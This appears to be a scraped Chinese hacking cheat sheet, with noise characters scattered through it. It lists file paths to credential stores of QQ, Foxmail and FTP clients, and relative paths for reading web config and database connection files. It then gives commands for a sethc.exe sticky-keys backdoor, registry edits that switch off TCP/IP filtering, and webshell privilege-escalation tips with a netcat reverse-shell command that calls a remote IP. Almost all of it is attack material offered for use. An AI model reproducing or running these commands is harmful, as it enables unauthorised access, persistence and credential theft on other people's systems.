c:\Apache2\Apache2\bin\Apache.exe
* m: g, A" F& D# K% h3 Gc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
) k+ E1 F6 ^2 |% QC:\Program Files\Apache Group\Apache2\bin\Apache.exe
" I$ K9 F3 i. K. o/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
$ @4 n6 m" J- z: c, Q* h/ w* _5 Lc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
0 f  w( M( Q5 _( rc:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
1 X% c! u% N8 qc:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
; ~1 g( G9 w4 {  lc:\Program Files\Tencent\RTXServer\AppConfig.xml
; k$ s" U' Q+ H4 M7 c5 oC:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
  ]8 U' U1 w6 D  W) @; V0 oC:\Program Files\tencent\Foxmal\Foxmail.exe
, \* a4 Y+ \4 @" J( }0 RC:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
2 M9 A9 d3 R% M/ E# B3 |c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
0 Y9 C: u0 c* t1 d& j% k3 jC:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
0 T: n  h8 R+ `" {: kc:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
8 q5 n  ?) [( ~- iC:\Program Files\StormII\Storm.exe
; b7 o- ^+ N' r
' Y% C" A6 Z1 p  @) `3 j# z: s3.网站相对路径:
7 j0 j! v$ d$ V
/config.php
../../config.php
../config.php
  _& J4 N, ^8 ~6 R; M3 F% M../../../config.php
. X/ G) d! d' X* M6 A' S/config.inc.php
./config.inc.php
4 l& }7 w- u  |/ ^! g../../config.inc.php
$ M' L4 n1 s/ L$ a../config.inc.php
../../../config.inc.php
( [( G; S/ p  c/ o' q& R. |* j/conn.php
8 V/ t" n, {% j" [; Z% `! H./conn.php
../../conn.php
3 ?# S! I* W8 V2 v, u+ a" s0 |$ ?- A../conn.php
../../../conn.php
5 Q' ~# k) `  ^7 k3 t) d/conn.asp
7 C" j* `8 u2 `4 j./conn.asp
( {8 @, [, P/ y4 }' y../../conn.asp
; {3 A6 M9 P. V5 T5 R../conn.asp
+ w0 m  F( z& v9 }# ^7 v3 x../../../conn.asp
/config.inc.php
2 \$ M2 R# N9 \6 W./config.inc.php
../../config.inc.php
../config.inc.php
- ]0 N1 h: [* Z7 l$ _6 K1 I  F../../../config.inc.php
/config/config.php
3 s/ _8 t. F' \- C! I) t) z../../config/config.php
* \* X6 {0 V8 E  o1 A; y../config/config.php
../../../config/config.php
/config/config.inc.php
/ Y) F6 H5 a% d./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
; _) v$ [; o: R../../../config/config.inc.php
. Y" N4 K/ @/ p2 s  A/config/conn.php
# h' b7 J/ f, d! ~! |  J  b./config/conn.php
) ]) n1 ^8 w, p" L, U8 D../../config/conn.php
5 R3 S8 ~( e# g/ n% B../config/conn.php
../../../config/conn.php
/config/conn.asp
./config/conn.asp
../../config/conn.asp
../config/conn.asp
+ n+ i% C/ t, L1 G( k* @6 q+ [../../../config/conn.asp
$ ?) e! B5 {  O, b/config/config.inc.php
; U3 e1 s6 j/ z- ~0 g$ Q./config/config.inc.php
../../config/config.inc.php
0 Y' J( Q& E2 y& F../config/config.inc.php
../../../config/config.inc.php
/data/config.php
../../data/config.php
  y: B& G3 j) a4 ~+ ]1 v+ p8 x( L- u../data/config.php
../../../data/config.php
$ ?5 ^3 C. [6 H2 J& V& v: B# x/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
; m, D2 b: ^5 F1 }0 C../../../data/config.inc.php
/data/conn.php
./data/conn.php
../../data/conn.php
8 _4 s+ I. M1 F- C../data/conn.php
../../../data/conn.php
1 r0 ~) C2 t: u2 c, Z$ i& K/data/conn.asp
; K' p: X4 ?/ R./data/conn.asp
../../data/conn.asp
../data/conn.asp
5 B' ~- x9 h$ m7 ]+ F../../../data/conn.asp
/data/config.inc.php
% k) D# H$ Y# p./data/config.inc.php
5 C; X6 b' e8 r5 _; ~) K$ q: }" f../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/include/config.php
../../include/config.php
../include/config.php
../../../include/config.php
/include/config.inc.php
./include/config.inc.php
# [4 S7 H% u0 q9 E, O../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
./include/conn.php
../../include/conn.php
../include/conn.php
../../../include/conn.php
" M9 O% s0 d0 a' l7 B; N/include/conn.asp
./include/conn.asp
../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
  h( g( ~" m' X) r./include/config.inc.php
../../include/config.inc.php
0 I3 X/ S& a" K. y5 @# o5 ^../include/config.inc.php
../../../include/config.inc.php
0 R- o! i/ f( `5 u$ e: U* h/inc/config.php
../../inc/config.php
../inc/config.php
* p4 @; b6 L+ f& V( p2 Q../../../inc/config.php
+ N: V* C5 t& m+ D/inc/config.inc.php
./inc/config.inc.php
6 ~% B* ?4 @" [../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
2 p( y# E/ j; P4 G/inc/conn.php
. q8 d& n6 e! u# U3 X/ Y- O$ ]./inc/conn.php
, |" G6 z3 U: q; P6 ]+ D4 Z../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
$ B5 z3 g$ N* `./inc/conn.asp
../../inc/conn.asp
4 R0 f# {9 _3 H! R* Z- r( i3 ?../inc/conn.asp
../../../inc/conn.asp
! W( n) ^$ M9 M- d: I4 ~/inc/config.inc.php
- @* c: ^7 r' ~" t./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/index.php
' P  w0 \, f6 X! ]" U2 y& I./index.php
2 [  w, {. [' \- P' _../../index.php
../index.php
../../../index.php
6 T3 O: F  n& b5 c' w/ U# o9 T/index.asp
./index.asp
../../index.asp
5 W7 M- m8 E( C) G% q../index.asp
../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
: H6 P- \3 i; B$ F3 W7 h
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
$ O5 F  z3 U- t) c, C2 _5 w. L
　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

  W7 }) H: H6 n" W/ \　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
0 b4 t& d/ a8 O
　　attrib c:\windows\system32\sethc.exe +h +r +s
* K! D( V9 Q/ p/ u
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
7 N. m) J" m2 c  b  v+ i7 N/ P0 gTCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
9 q( n) k! o: X* t2 R+ w; @
分别用
, j- _" m" c# _! ~% B* y+ D; cregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
) L+ `5 F  }, S; b1 s0 u+ t* c1 R命令来导出注册表项
" t6 l8 t+ w7 M" @8 ]6 X
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

+ C2 x' _& O+ F& t再将以上三个文件分别用
regedit -s D:\a.reg
  Q% k$ C3 a% J" ^regedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可

webshell提权小技巧
  o  \( n0 K, J6 h# i$ ~cmd路径:
1 I  P; K" a3 Tc:\windows\temp\cmd.exe
1 ~, j, @# N& _: Q" Ync也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
$ i) u9 ~* B% b
; `" I: |( q8 C9 y8 B, Y- d0 w而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
6 o5 j8 n" X7 [) ^1 @. a. Y8 ^/ k我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功